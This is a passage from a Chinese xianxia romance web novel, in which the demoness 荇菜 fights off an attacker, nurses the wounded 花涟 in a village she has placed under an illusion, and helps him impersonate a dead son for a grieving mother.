荇菜猜到中年男人的身份，穿过花涟，挡在黑珠的面前，朝道璇玑铿锵道：“自己的心眼脏，看什么都脏。你要道生花的消息，怎么不去问青虞宗的九阳剑尊。他们在羽弃城上空打架……”
“果然是你，合欢妖女。”道璇玑身侧浮空的长戟直刺而下，冲向荇菜的心脏。
花涟破空上前阻拦，被道璇玑扬手打飞出去。
他倒在山道，动用天地命契的地契能力，在千钧一发时互换双方位置。
长戟破空，猛地刺入花涟的胸膛——
“噗……呃……”花涟一生从未这般痛过，一下子单膝跪在山道。
荇菜被突换位置，一时没反应过来。电光火石间，花涟已经跪在山道，暗红的鲜血在大红的婚服上快速晕染，像是绣上一朵深色牡丹，花瓣不甚分明，轮廓又甚是清晰。
她茫然地看向吐血的花涟，飞扑过去抱住他：“花涟，你怎么……你会死的。”
“死了……就解契，圆你……想法。”花涟口吐鲜血，担忧地望眼荇菜，又看向道璇玑，试图站起来抵抗，“生与死，于我，本就无差。你……快走。”
45. 第 45 章
荇菜已经被花涟挺身挡枪的举动震住：这人是真傻还是真痴？
道璇玑招手，花涟身体里的长戟退走，给花涟二次伤害。
“谁都走不了。”
“花涟……”荇菜接住直挺挺压来的身体，一时手脚冰冷，张口说不出话。转而看向道璇玑，生出一股仇恨怒火：我的人我可以杀，别人碰一下都不行。不然，你就十倍百倍还回来。
道璇玑冷笑：“没错，本座就爱这样的眼神。道生花下落不明，我要你痛苦万分。”
荇菜压下心中怒火，运转还阳功，扯起笑容挑衅她，以驭音术启口：“他追我走遍五国，对我心生爱慕。你一个外人，凭什么替他出头？”
“你……去死。”道璇玑离奇震怒，扬手一指，血樱戟直冲荇菜，“无人能替你挡此戟。”
黑珠展翅瞬移，以自身庞大的羽族翅膀为屏，挡在两人面前：“你们……快走……她是合体期……”
荇菜松开花涟，一把托住被血樱戟冲破羽翅屏障的黑珠。两人一起砸在山道。
荇菜也讶异他的行为：“你……”
黑珠大口吐鲜血，张口欲说，察觉主人对法器的召唤，一把握住即将消失的血樱戟：“若你真是那位让黑羽自甘破体取精魄的女子，我就不能让你有事。你快带他走……”
“走得了吗？”道璇玑握拳，血樱戟再次回到掌心。
她落地，与坡上站起身的荇菜同一个高度，冷冷地举起长戟，“说……”
“道璇玑，住手。”羽化生飞出十二雀翎，挡下血樱戟，刻画的灵力法阵护住身后三人，“道生花没死，但也不好过。若你想他回三生道，现在就离开。不然，本尊保证你此生再见不到他。”
“你敢威胁本座。”道璇玑一展双臂，血樱戟成擎天巨器，直坠而下，“说，他究竟在哪？”
“道璇玑，此枪落下，平山裂地，你知道会死多少山外人吗？”
羽化生指点十二雀翎，化为十二阵眼，开启巨大的结界。他把即将到来的战斗威力囊括在荒山地界，以十二雀翎大阵生成的空间折叠术合拢结界，缩小道璇玑对山林的伤害。
“凡人生死于本座何干？说，他在哪？”道璇玑压掌，庞大的血樱戟虚影直刺羽化生。
羽化生飞出一只金红巨鼎，挡住直插而下的血樱戟，护体灵光护住身后三人，隔开血樱戟的余威。十二雀翎组成的结界也拦下道璇玑身为合体期修士造成的巨大灵威冲击。
羽化生心道：幸好来得及时。
他察觉眼尾闪过红芒，惊诧道，“你疯了，快回来。”
荇菜突现至道璇玑的身后，在她扬手打来时，幽幽道：“道生花的心里有谁只有我知道。”
道璇玑愣顿，瞬间被荇菜潋滟的眼波吸住目光：波涛之上燃烧一簇三色焰火，焰心里是一片宁静的汪洋大海，海面上有一座缥缈的仙山，一对少年男女正在山中各自修炼——
恍惚的片刻，一根燃烧凤凰烈焰的金红羽翼的根尖，悄无声息却又势不可挡地破开道璇玑的护体灵力，直入她的心口。
“啊……”道璇玑不可置信地看向心口，周遭的幻境已经消失，对上荇菜美艳凌厉的脸。
只因十年未见道生花，思念让她疏忽大意。
凤凰烈焰炙热无比，灼得她烧心裂肝……她愤怒出掌，拍向荇菜的心口。
羽化生闪现救下荇菜，替她抵挡一掌。
两人落地后紧盯半空，道璇玑已经消失。
羽化生又气又急：“你一个元婴想要越两级杀合体修士，以为自己是什么？半副凤凰火体就想靠涅槃重生？她可以让你直接灰飞烟灭。”
荇菜不理他，急奔向黑珠和花涟，面对两个胸前被鲜血浸染到毫无动静的人，颤巍巍又惶恐：“他们……”
“死不了。花涟的心脉已经被本尊用丹药护下，你带他走吧。至于黑羽族的黑珠，羽翅被血樱戟穿破，倒也能救。我会先带他回百戴国，送归家。”
“他们……真得没死。”荇菜下意识松口气。
“本尊是羽化生，阎王爷收人都得问过本尊。”羽化生把昏迷的黑珠送入空间法器，看向背起花涟的荇菜，“那个……咳，三个月内你要行走各宗，解释清楚那些被你杀死的人的下落。”
荇菜回瞥：“我怎么解释？或者你可以把真相告诉我。”
“你的易容术独步天下。若不特立独行，无人认得出你。只要你想，你当然有办法解释清楚。”
荇菜冷呵：“这叫什么话，他们真得死了吗？”
“没死吗？自来生，终赴死。除道生花、青虞九阳，其他人就是死了。”羽化生走出一步，又道，“只有脱不得苦的凡人才会因杀人而生心魔。悟得此中道理，你就会知道……你纠结、遵守的东西不过是上苍、世人予你的枷锁。
道为何？你有仔细思考过它吗？没有真正踏上此途，就会被心境困惑所迷。你想清楚就能走上坦途。后会有期。”
荇菜被这翻话震住，说出这些大逆不道话的羽化生是自诩守护天下、宗派、世人的正道人士吗？
当务之急是帮助花涟。
蜃珠洞府过于寒冷，对花涟来说不是好的修养地。
荇菜想起花涟来时说在山下花家村小住，背上他直奔荒山下的花家村。
村里人见着新娘装扮的荇菜背着新郎，一时好奇聚来围观，指指点点，众说纷纭。
有人站出来热情地引荇菜进一处青砖黑瓦的土宅。
“这位夫人，这是花公子的宅子。他家管事把他的画像挂在堂上，托村里人轮流打扫屋子，大家就认得他。
数日前，有人听到院子里有动静……原来是花公子在收拾院子……”
“多谢，夫君在迎亲路上遭遇劫匪，受了些伤，我急需给他治疗就不招待诸位，来日我夫君定会重谢诸位。”
荇菜不及对方多说就阖上院门，阻挡一众村人好奇的目光。
她把花涟放在干净的床褥上，想来他为在此生活已提前布置过。<
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取下自己头上厚重华丽的头冠，脱去花涟染血的新郎服，从他的储物戒中取出干净的换洗衣衫，给他探鼻息、净身……荇菜一直忙乎半天，直至花涟整个人焕然一新，才有空坐下歇口气。
天色已黑，村里各处的声音清晰地传入荇菜的耳朵，大都在谈花家宅子主人归来一事。
有户老人在说花家的公子已经娶妻，自家的孙女好去隔壁村定下来，与花公子家的亲事肯定不成。
“呵，”荇菜靠坐床沿，抚摸花涟微凉的额头，在黑暗里看清比任何时候都沉静的面容，“若你早点来这，早就能成亲，何必大费周章托赖管事说亲。”她俯下身，鼻前浮动花涟吐出的微弱气息，“这是最好的时机，只要我张口运力，你就不复存在。解开命契，我也能自在……”
荇菜哂笑了声，翻躺在花涟的旁边。第一次动用蜃珠布置大型幻术，造出一场花家公子娶亲的幻境。
花涟自小生活在花家村，早年失去双亲，靠种菜卖菜为生，立志读书考官，颇受村人敬重。
近来，他及冠娶亲，迎亲的途中遭遇劫匪，被新婚妻子送回家，卧病在床。
幻境中，荇菜扮演得不是手无缚鸡之力的大家闺秀，而是江湖侠女。
她以驭音术加持幻境，令整个花家村不论是人还是动物都记住这对新婚夫妇，让村里人把两人当作同宗亲人般对待。
后来，荇菜都不记得是怎么睡过去。天亮后，她听到有人拍门，翻身看到一张沉睡的发白面孔。
清晨的朦胧给安静的花涟染上层清冷的春色，颇有几分楚楚可怜。
血樱戟让他失血过多，一时半刻恢复不过来。
荇菜拂过花涟耳边的乱发，望着他的脸出神，察觉吸到他呼出的轻微热气才反应过来自己想干什么……签订的命契让她格外想要亲近他，遑论还阳功对他这身灵力的贪婪渴求。
她咬牙起身，遏制体内的冲动，去开院门。
“凤武，你还有血吗？”荇菜用意念问蜃珠洞府里的凤凰。
凤武：……莫挨老子。老子为能出去，忙着用真火煅烧你要的法器。
荇菜也觉得凤武比花涟还贫血，走到院门口，见是一对年轻夫妇。
男人瞥见开门得是红色裙摆，垂下目光，让妻子说话。
小妇人定定地看向荇菜，惊觉这位花夫人长得过于出众，甚至生出一种旁边的丈夫奇丑无比，让她想哭的冲动。
荇菜轻咳了声，收敛还阳功外释的魅力。
小妇人回过神，脸面飞霞，有些动人，细气柔声：“花夫人，我叫芳菲，你……长得真好看。啊……你还没换昨日的衣衫吗？”
荇菜打量他们带的笼子和篮子，伤心上脸，轻轻地摇头：“夫君伤重，已经上过药，人还在休息，昨日我太累还没来得及换。”
男人的眸光瞥在自家妻子美好的脸面，温声道：“花公子没事就好。”
他拎起身旁的笼子放在路中间，自始至终没有看荇菜一眼。
46. 第 46 章
荇菜对这位男子的品貌高看一眼。
芳菲娘子：“近些年，花公子托人对咱们村多有照顾，国主也不打仗征粮，家家富余。我怕你们新婚，家里备的东西不足，拿些嚼用过来。”
她不仅送鸡，还拎块肉和些调料，一起递给荇菜，“花夫人快拿进去炖给花公子吃。啊，夫人会烧吗？不然，我烧好给你送来？”
荇菜没想到一场幻境后能收到这样的效果，对小夫妻有些感激：“多谢。我家正好需要，麻烦你们稍等片刻……”
她返回房内，从花涟的储物戒中取几套明显给自己的女装，赶紧穿一身湖绿裙衫，捏把银子走回院子。
“麻烦这位小哥帮我把东西搬进厨房。”
待小哥低头搬东西，荇菜把银子递给芳菲。
芳菲拒绝收钱却拗不过荇菜，只好收下。
芳菲夫妇走后，荇菜返回院子，入目三间瓦房一道篱笆，院里菜地种着鲜亮的蔬菜，一看就是莲花峰出品。
她拨弄幽绿的蔬菜，耳闻村里传来各种说话声，轻呵：“花涟，为解开心结，你真是大胆突破。下山捉鱼那次干的好事吧？”
荇菜第一次布置大型幻境，为检验幻术，挎上篮子走入村。
她所过之处，村民目瞪口呆，连手里的东西砸在脚上都没察觉。这些村人无一例外对她没有疑惑，交头接耳说得全是花公子的夫人貌美如花，美得不似凡人。
这说明蜃珠布幻成功，驭音术地加成让这些村民深信花涟长居此处，又刚迎娶妻子。
村里的老人上来问：“花夫人，花公子怎么样，伤的重不重？”
荇菜点头致礼：“无碍，过几日就能下地，多谢婶娘惦记。”
老人家：“这就好，”说完，她带孙儿下地摘菜。
荇菜在村里走一趟，换回不少东西。
除蜃珠布幻起到的作用外，还有出众的容貌让她便利行事。
上品容貌也是人间得一张通行证。
荇菜确认蜃珠幻境的效果，回家时门口又聚着许多妇人。
她们一一问候，道明前来的目的：“花夫人，这是我自家养的大鹅，你家夫君娶你不易，如今又遭劫难，赶紧杀了它，炖给他补补。”
“是啊是啊，花夫人要我帮忙吗？你是侠女，不懂灶上的事吧？我炖的汤特别好喝。”
“前些日子我公公进山采到野山参，正好同鸡一起炖，花夫人需要吗？”
……
不稍一会，花家宅邸里已经有现杀好的鸡鸭，洗净备下的蔬菜，米面调料样样不缺。
妇人们收了钱、帮着忙，赞誉荇菜爽朗豪气，不愧是侠女。
有人道：“花公子早年间卖菜为生，如今读书卖字画攒家底，娶的娘子又美又大方，真是福气。”
“希望他快快好起来，两口子安安心心过日子，比什么多好。”
……
各家热心的妇人、男子们忙活完离开，荇菜守一只炖锅，摇着扇。
那位炖汤好喝的妇人教她方法，待汤汁馥郁，撤火出汤。她端上鸡汤站在花涟的床前，注视昏睡的男人。
花涟依旧躺着，暂无苏醒的迹象。他伤在心脉，羽化生用丹药救治，也不能一时半刻恢复过来。
荇菜望向手里端着的汤碗，汤面上浮着金黄的油脂，汤气香味馥郁，在厨房尝过，非常鲜美。
问题是……
“人参鸡汤？呵，我忙一整天要干什么？我在愧疚！愧疚什么？”荇菜一口喝尽鸡汤，转身离去。
她在院子里来回走动，几次想要直接离去，又移步回来。
“舍不得……舍不得他的一身灵力。”她坐在大堂，望着暮色渐浓，生出一丝难以言诉的伤怀。
荇菜想周老夫人，想合欢宗大殿上的蕙永那担忧期盼的目光，也想黑羽做的鱼饭，更想回家看看妈妈……
她仰面木棱打造的屋顶，又哭又笑好一会。
半个月后，花涟醒来时听到院外熙熙攘攘的交谈声，灵识滑过全村，外面的场景尽数过目。
他的灵识停在荇菜的面庞，轻而细的流过——
荇菜立时察觉到他的存在，两人好似隔空对视。
花涟察觉对方的灵识渐趋攻击性，晃神中收回灵识。
荇菜知道他已醒，淡定平和地起身：“各位娘子，我家里还有事就不留各位，余下的绣花样待明日再画吧。”
“哎哟，时辰差不多了。花夫人要给夫君放水吧？花公子还不醒，这家就全靠花夫人撑着。走走走，咱们先走吧。”
几位妇人七嘴八舌各说几句，带上满意的绣花稿子离开小院。
荇菜长吸口气，关上院门。
她踏入卧室，花涟也已经坐在床沿。
两人四目相对，一时都不知道说什么。
花涟柔和地注目她，被她紧盯，不由垂落目光，又舍不得不看，目光落在她腰前交握的手腕。短短时日，她好似已经适应花家村的生活，有了当家夫人的气派。
目光向上游走，落在荇菜鼓囊囊的胸前。他察觉于礼不合，又移至光洁的下颚。待从红唇挪向眼睛，荇菜已近在眼前。
花涟的目光流连在她美丽的脸庞，脑子里空得什么想法都没有。
一股熟悉的清新的山野气息扑面，他的心跳仿佛是大海的波涛，汹涌地遏制不住地喷薄出强烈的欢喜。
这让他露出痴痴的笑容，脱口而出唤道：“娘子。”
荇菜的眼锋如刀，惊得花涟察觉失口而垂下头。
她拖把椅子坐在花涟的面前，老神在在：“昏过去前你说的话是什么意思？什么叫生与死，于你，本就没差别。
我记得你成亲是为破除心结，突破至化神。既然要提升修为，死于你怎么就没差别？”
对于此事，花涟是在婚礼大典上用观云婴的天地命符才发现自身没有独立灵魂的问题。
“我……”他一时不知道怎么回答，道璇玑出现前，荇菜欲言又止，或许也已察觉这事。
荇菜不喜说话婆妈，一脚踢在他的小腿上，对上花涟望来的好奇目光：“我们做个交易。”
花涟摇头：“无需交易，你要什么……”
“我要你的命，你也给？”荇菜抢白。
花涟思量下，重重地点头。
荇菜睨他，有好多事
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要问，却也知道羽化生的态度说明花涟并不知道分身的事。她轻舒口气，哂笑了下：“我帮你圆你母亲的遗愿，你把命给我，这笔交易如何？”
花涟轻蹙眉，这一次深刻地明白荇菜要什么。他旋手取出一把带流苏的长剑，递过去，反手指在胸膛。
荇菜接过长剑，对准他的心口。花涟的眼神不曾退却，却含哀伤。
荇菜按捺口气：“天地命契里的魂丝是怎么回事？”
花涟没想到她最终还是问出口，张口无言。
“你说你一直突破不了化神是因为没有圆满母亲遗愿而生心结。如今圆满了，你可以突破吗？”荇菜露出不怀好意的笑容。
花涟轻轻地摇头：“已经无法突破了。自始至终都无法突破。”
“怎么说？”
花涟望着她的眼神悲伤又绝望：“化神乃是修为、灵识并进，修为上升，初步提纯灵识……我的灵识无法提纯，有一道无形的枷锁限制我。
我可以感受到自己的资质、修为，不该止步元婴。但是，无形的枷锁禁锢我只能修到元婴。
若没有观云婴的天地命符，请出天地命契，我察觉不到自己的不对劲，一直以为是心结才无法突破。”
荇菜惊讶地张口：“你已经知道自己是谁？”
“你知道我是谁？”花涟反问回去，荇菜撇开脸，他就自顾道，“我看过诸多法术、修真史料，有一种方法名为裂魂破境。
高阶修士以高阶材料、衍生阵法创造法体，植入自身神识或灵魂，再加以炼为分身。你答应与我结契定是因为知道我无法在命契里注入灵魂。”
花涟说到这已经悲伤到想哭。
荇菜还是不理解：“……你在天地命契里注入魂丝，命契也已生效。”
“是，我知道自己是什么，却又不知道那人是谁。”
荇菜猛地起身，震惊道：“与我结契的魂丝怎么来？”
“在启用观云婴的天地命契后，神智有片刻恍惚，下意识就取魂丝。那时好多不曾明白的道理瞬间通悟：我的修为只能到元婴，千岁寿数是尽头。”花涟说完看向荇菜，观云婴说缘是劫，意指与她结契，人生就明白尽头。
“情缘在系，生死有道。情意。”
悲伤侵染花涟整片识海，无法言说的痛苦着。
荇菜没在意这话，思量道：黄椒在设置分身时给分身限定资质，不止如此……项檀是读书人，他能修炼却不想修炼。惊蛰是和尚，杀妖分尸却又良心未泯。鲛童是鲛人，本游于水却上岸做人。
九阳剑尊……修为已至化神，黄椒对某些分身格外照顾。
“不对，”荇菜喃喃着走到大堂，惊道，“他是按身份设定他们的资质，或者，他随时可以调控这些人，比如识海幻境里的鲛童。”
花涟的目光追随她的身影，本无尘埃的识海已经遍布情丝，悲伤之中生出贪求的欲望。
他落寞地呵笑：“千岁寿数对于修真人虽短，却已是凡人的十世，我又有什么可难过。此时生活便是活，活在当下最是真。”
这般想着，他的心境豁达，神念顿清，有一种可以随时突破化神的想法。
47. 第 47 章
“你不试着突破吗？我很好奇你是不是真得只能修到元婴。”荇菜跨步回屋，盯紧花涟。
“好。”花涟没有拒绝，又淡如清风似笑着，“此处不行。”
“哪里合适，莲花峰？”
花涟没答，荇菜说风就是雨，若现在告知她地方，该回莲花峰了。
荇菜一瞬不错地看着他，明白他的意思，转身离去。
晚间，大堂的餐桌上放一只老鸭煲、两盘鲜亮时蔬，便是一餐饭。
荇菜放好碗筷，面无表情道：“你昏睡的时候，我用你储物戒里的银钱，请蓉婶帮忙做晚饭。我们人待在这总要起火做饭，不然村里人会对我们生疑。
蓉婶做的饭菜比我做得好吃，你喜欢一日三餐、清茶苦口的生活，尝尝她的手艺吧。”
花涟应下，拾起碗筷用餐，一口过后慢条斯理道：“明日，我做饭吧。这些是灵蔬，若用寻常做法，菜中的灵力散走九成。”
荇菜吃口煲中笋干，嚼碎咽下：“你跟她说灵蔬，人家也不懂。入乡随俗懂吗？我已经雇她半个月，突然辞她，不好吧？”
“嗯。”花涟没再多说。
荇菜：“其实，她只做一顿晚膳，其余时候我不吃的。若你想做早饭午饭，随便你。我都修仙还被这些吃喝拉撒、一日三餐烦扰，太烦人了。”
花涟扬起的笑容慢慢收平，试着道：“明日我做鱼吧。”
荇菜举起的筷子顿在半空，压下脑海里浮起的黑羽面容，一言不发地夹起蔬菜。
片刻后，她道：“我吃饱了，先去修炼。”
花涟收拾好桌子进屋，在烛火晕染的朦胧黄光下，妻子背靠床柱，捧本书卷阅读。人生是岁月静好。
在莲花峰上，荇菜也时常看书，看得非常快。花涟想象过这种场景，为她的容色、聪慧、狡黠而心动，一时看痴。
荇菜早就注意到他，被看久了，周身生出股燥热。
流转不断的《还阳功》仿佛是食人花，冲荡她的血液、思维，似在说“主人，食物已经备好，可以开始进食。”
荇菜生出股顺心遂意吃掉他的冲动，扬眸对上他清泠泠的目光，彼此的眼神像涓涓清泉，欲望在泉底蓄力，纠缠着自涌而出。
他的呼吸略重，她的唇口微开，在等一个共识。
荇菜看着他，放下书卷，勾了下手指。
花涟不知道怎么走近她，意识到时人已经在床沿坐下，歪着头亲向她的脸颊。
错开眼神后惑术就淡了。
轻柔微热的气息喷在荇菜的脸侧，生出挠心的痒意。
荇菜抚着他胸前的长发，轻悠悠启口：“我得你真传。若全力使出《欢情诀》，没有男人躲得过。”
她抬眸瞧入花涟的眼睛，而花涟学乖了，闭着眼睛往后撤。
花涟坐直后换口气，捏紧膝盖上的手：“对不起，我……”
“对不起什么？”荇菜蹭掉鞋子，白玉似的双足搁在花涟的臂弯，察觉他的僵硬，玉雪可爱的足尖点在他的胸腹，滑过他衣衫上的绣线，引起一阵暧昧的沙沙声。
她没有看花涟望来的眼神，漫不经心地拿起书卷，“有个疑问藏在我心里很久，可以帮我解答吗？”
“你说。”花涟的注意力全在胸前一戳一戳的可爱脚趾上，膝盖上的手随她的举动一下下地抬起放下。这对调皮的双足吸引他大半的注意力。
“我夺舍金莲，又化她的身体，变成人不人、妖不妖的模样。你不想为她报仇？呵，我可从不认为自己是金莲。
她是女配，而我想要做女主。”
花涟的注意力从身前的玉足回到她的话上，咽口吐沫：“你想夺舍她吗？”
荇菜斜瞥他，轻呵了声：“你找到答案。”双足已经乖巧地停下。
花涟隔着裙摆并拢她的双脚，放在床上：“你不想，夺舍不是你的本意，你没有错。”
“呵……”荇菜盘起腿，拉住起身的花涟衣袖，待他望来时仰面噙笑，“花涟，你真是个好人。你把我对金莲的罪恶转嫁成你自己的责任，由你背负，是吗？
可是，你听不懂我的话，我说，我要做女主。”
“你是莲花峰的女主人。”花涟答道。
荇菜松开手，在他离开前，喃喃道：“原来适应这里、游刃有余后，我还试图要一个理解我的人。可笑。”
花涟已经走到房门口，闻言回头：“不要多想，好好休息。”
荇菜挑眉，高声道，“花涟，我不想杀你。若你与我强行合欢，会被我的功法吸食消散。”
“……”花涟僵直背影，直两条腿离开房间。
【说什么合欢……还强行……光是想，身体就像是自己得了。】
数日过后，花涟习惯花家村的一日三餐，按荇菜给他的身份读书卖字画，与芳菲的丈夫花容成为朋友。
花容是村里第一位上门送东西的，而这不是偶然。
花涟下山捉鱼那次来花家村收拾这方院子，被夜归的花容看到过身影。花容就决定做花涟的朋友。
蜃珠幻境迷惑花容，衍生他对花涟的情谊，让他认为花涟就是他的好友。
花涟送走花容，望向灶间忙碌的布衣女子。
荇菜现在的正经模样与晚间柔情似水的诱人形成强烈的反差。
花涟不自觉得被她吸引、追随她，希望她撇来不耐烦的眸光，眼神交错、心中悸动，牵引的血流带给全身无法诉说麻软松弛。
荇菜头也不抬道：“人走了就过来洗茶杯。烦死了，一天天不是洗就是做，我在修仙文里好嘛，谁修仙还搞这么凡间。”
花涟默默接手，荇菜跑回院子里摇扇纳凉。
花涟端给她一盘灵果：“修仙不是成仙，一样要食灵果，洗盘盏。”
荇菜白眼：“一个月。一个月是极限。我还有事要办的，不能一直陪你在这玩过家家的游戏。”
“需要帮忙吗？”花涟试探道。
荇菜啃灵果打量他，蹦出一个响指：“你等着。”
她跑去问芳菲买一身花容的书生服，扔给花涟，“进去换上。拿掉你头上的荷苞玉簪，搞块青布扎着就行。”
花涟打扮后走来，一身山野书生的简朴装扮，掩去他三分仙气，依然是人中凤雏。
荇菜绕他走两圈，满意道：“我教你一门易容术，可以变幻成他的模样三个时辰。
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你随我上青衍镇演一出戏。虽有些过分，也是圆老人家一个心愿。
对了，周婶婶不喜欢项檀进合欢宗，你就说在青虞宗修炼。”
“项檀是？”花涟拉把明显太短的衣袍，不自在道。
“我睡过得第一个男人。”
花涟瞪大的双眸与荇菜无辜的眼神相对，彼此都眨两下。
花涟六神无主、面无表情得“哦”了声。
“嗯？”荇菜疑惑地看他，轻咳了声，“我是合欢妖女，不睡男人叫什么妖女。”
“嗯。”花涟点头，顺她亮晶晶的期待眼神问，“他长什么样？”
“天太黑，那时候我的眼睛没有现在夜视的能力，记不清他的容貌。不过，我记得他的气息，有一股墨汁味儿，还有他的床褥带着书房的墨香……以前觉得挺好闻，现在有点恶心。
对了，他的书房有自画像。另外，我能窥识海，进周婶家前查看一下蕙永的记忆就能完美模仿。”
花涟听她清晰地说着过去的事，那叫项檀的男人一定给她很深的记忆。
心上生出股不得劲，连带手脚都有些酸软。尤其穿着别人的衣服，花涟觉得非常难受。
“我去换衣衫，入夜后我们动身。”
“哦。”荇菜点头，抹把脸，“同现男友谈过世的男朋友。若我告诉他，项檀是被我杀死，他的脸色一定更酸爽。哈哈哈哈哈……”
荇菜笑着笑着，生出股火气。
双足上的绣花布鞋自燃掉落，周身布衣瞬间成灰烬。
她穿一身大红带凤羽的艳丽裙袍，五指涂着诱人的丹蔻，双足脚背生出浅金云纹，慵懒地浮在院中的鹅软石道上，咬牙念出个名字：“……羽化生。”
眸光轻移，与窗台口的花涟对上眼神，嫣然发笑，更显容色倾城。
花涟痴痴地望着她，眼里流露心疼。
真凰羽翼幻化的高贵着装不是普通修仙者可以拥有。阳梧山上的合欢妖女变为如今身蕴凤凰血、骨生羽翼者，定经历常人想象不到的痛苦。
“花涟，你的眼神告诉本尊，你在为本尊心痛。”荇菜漂浮到花涟面前，抬起他的下颚，居高临下俯视他，在花涟的错愕中妩媚笑着，垂头吻上轻颤的红润唇瓣，“倒是柔软，很是可口。”
花涟抿唇眨眼，后退两步。
他垂头看向手里花容的衣衫，也不是不能忍受，耳内传入荇菜嗤嘲的笑声，深吸口气，回房里换衣。
晚间，青衍镇上的青衍书局后院，荇菜得到蕙永脑海里的项檀容貌。
她朝一旁无言的花涟道：“搞定了，走吧。”
前往项檀家的路上，荇菜飘在前面领路，边道：“当日在合欢宗大殿，蕙永一身妇人装扮，我就猜到她已经嫁人。
她是重情义的女子，走这么多路上合欢宗，都不怕惊雷这些和尚。对她来说，项檀亲如兄长，周婶是她养母。蕙永可以为他们豁得出去。
我没想到她会嫁给白先生的儿子。白先生的儿子长得不错，蕙永的记忆里夫君性情温和，两人倒是蛮相配。”
花涟轻声道：“不止她重情义。”
“什么？”荇菜一时没理解过这话。
48. 第 48 章
夜色披黄，月圆星隐。
荇菜想下花涟的话，转口道，“我本来想用蜃珠布幻，抹去蕙永脑海里关于项檀的记忆。后来，我没这么做，只给她设置一场离别幻境。项檀前去修仙，自此不回。
蕙永在睡梦中留下眼泪。对她来说，再也见不到项檀，应该是极伤情的事。
好在她现在有夫君孩子，能安慰她。
“修仙人各不相同，照你的形容，项檀会归来。”花涟又道。
“可他死了。”荇菜停浮在路上，阴恻恻地瞪花涟。
她飘去花涟的正前方，自上而下的身影映在圆月上，仿佛背一轮圆光，惊艳花涟的双眸。
荇菜森冷道：“我杀死项檀，用合欢功法吸食他的灵力。他在我眼前散成自然灵光，永远消失。”
花涟眨眼，窒于她的美，惊于她的愤怒。
他试图用合理的知识帮她解释这一切：“裂魂破境阵。他和我一样是别人的分身。”
“你不怕吗？不止他，雷火寺的惊蛰，山泽国的鬼泣大将军，道生花的手下黑羽……”荇菜飘落，双足点在他的鞋尖，勾下花涟的颈项，危险地说，“花涟，若你继续用这种干净诱人的眼神看我，我保证你会是下一位。”
荇菜在他伸来手时，后仰飞起，背倚金红圆月，勾手御灵，让花涟也漂浮起来。
花涟被她的灵力缠住，飘至荇菜平视的位置。
荇菜近前，捧起他的脸，望入映着圆月的湛湛银眸：“你知不知道……我忍得很辛苦。”
花涟想要脱口而出“不必忍”，强大的意志让他扼住喉咙。
荇菜倾身贴近，气息拂在他的唇角。
花涟快口道：“若你不解决功法的问题，迟早会被它吞噬理智。”
“是吗？”荇菜拂过花涟的长颈肌肤，带出一阵疙瘩。
她绕在花涟的身后，如玉的手反射着月华，攀过花涟的肩头，从上而下斜入他的衣襟。
胸膛里的心脏如锤敲鼓，震颤沿指尖传进掌心。
“它救我多次。我被人一剑对穿不死，被人剑刺心脏不死，被人扔进涅槃火不仅不死还重塑妖体法身……它真得会吞噬我吗？”
花涟屈起长颈，闭上眼睛，颤抖的指尖忍不住压在心口的位置，她的手背。溢到喉口的呜咽被强行咽下。
隔着衣衫，握住荇菜捣乱的手：“我……不不知道。”
“花涟，我知道还阳功想要你。”荇菜顺着被他压住手背的力量，来到他的正前方。吻上他的唇瓣，转辗着，如戏玩具。
花涟的喘息声略重，下移的手伸向她的腰肢。
荇菜已就势推开他，戏谑地嘲弄：“花涟，你真不怕死啊。”
花涟倒飞着，落稳在幽暗的街上。他闭眼稳住不可控的心神，吸口气后看她漂浮离去，瞬移追去。
荇菜用蜃珠在周夫人的宅院布下幻境，朝一旁已经幻化为项檀的花涟道：“去吧。告诉周婶婶，这是你们最后一次见面。”
花涟步入堂屋，轻轻地唤了声：“阿娘，我回来了。”
熟睡的周老夫人心有所感，瞬间睁开双眸，快跑至堂上。
烛火中是她朝思夜想十年的儿子，他终于回来了。
颤动着双唇，未语泪先流：“檀……檀儿啊……”
荇菜听周老夫人这声深入肺腑的呐喊，仰天憋下眸中的湿意，传音过去：“花涟，好好办完此事。若本尊瞧着高兴的话，就陪你在花家村多待一月。”
“娘亲，檀儿回来看你了。”花涟握住周夫人的手，扯起温煦的笑容。
怕见生人的毛病在荇菜的承诺中强行退散。
“檀儿，我的檀儿回来了。阿娘好想你啊。”周老夫人激动地泪如雨下，紧紧地握住项檀的手，“啊……我儿饿不饿？阿娘给你做饭。怎么穿这么单薄，冷吗？阿娘每年都做你的四季衣衫，收在柜子，冷了就去穿。”
花涟想起数百年前的养母，一时哽住。
耳听荇菜传音催促，压下哽咽：“阿娘，我饿，想吃你做的地瓜粥。我帮阿娘生火。”
“好好……我的檀儿还是这么有孝心。”周老夫人拽着项檀走向灶间，连夜烧起火。
荇菜浮在半空，冷漠地看向院子里切瓜煮粥的母子。
她想到羽化生那些话：
“自来生，终赴死。只有脱不得苦的凡人才会因杀人而生心魔。你纠结、遵守的东西不过是上苍、世人予你的枷锁。”
“枷锁是什么？天生法则，人定法度。
什么样的人会杀了人而不生心魔？
天生恶种、心无道者、顺道自然看淡生死的修真者……善恶一念，一体两面。书上说得容易，却不容易明白。”
周宅里，花涟和周老夫人已经吃上粥食。
花涟问周老夫人的心疾怎么样，周老夫人忆起十年前的荇菜，细细地说起这个姑娘。
荇菜望向漂浮到面前的地瓜粥，端过碗。
花涟趁周老夫人谈论时看向荇菜，与她明亮的眼神相较，抬了下手中的碗，示意一起喝粥。
荇菜拿起汤勺喝一口，地瓜粥微甜绵密，想起与周老夫人、蕙永同住的时光。
周老夫人也曾煮过这种粥，还念叨着：“家里穷时，檀儿说他爱吃苦，其实我知道他怕苦的。后来，檀儿出息，为家里挣钱，我总会买点饴糖藏在瓦罐，煮粥时偷偷放一点进去。
他啊，傻乎乎地说：阿娘，今年又是好收成呢，地瓜真甜。”
荇菜搁下勺子，转手把地瓜粥移到蜃珠洞府里的凤武面前，以主人身份下命令：“吃了它。”
凤武：……老子惹你？
迫于“仆印”的牵制，凤武僵硬地端起地瓜粥，一口闷完。
“行、了、吧。”咬牙切齿的声音。
荇菜嘟嘴，恶意满满地传念：“恢复不错啊，这次没被水属灵力折磨。”
“原来你喜欢看我被折磨，你直接说啊，压块冰在我身上……噗……”凤武趴在地上，背上是一大块天外飞来的冰棱，压得他差点没喘上气。
他气得双眸喷火：“臭丫头，你来真得？”
“从今天开始，我要做小仙女，但凡让我高兴的愿望，我都要满足他们。你如此，世人如此，哈哈哈哈……”
荇菜在半空旋身，取走凤武手中炼制好的万音铃。
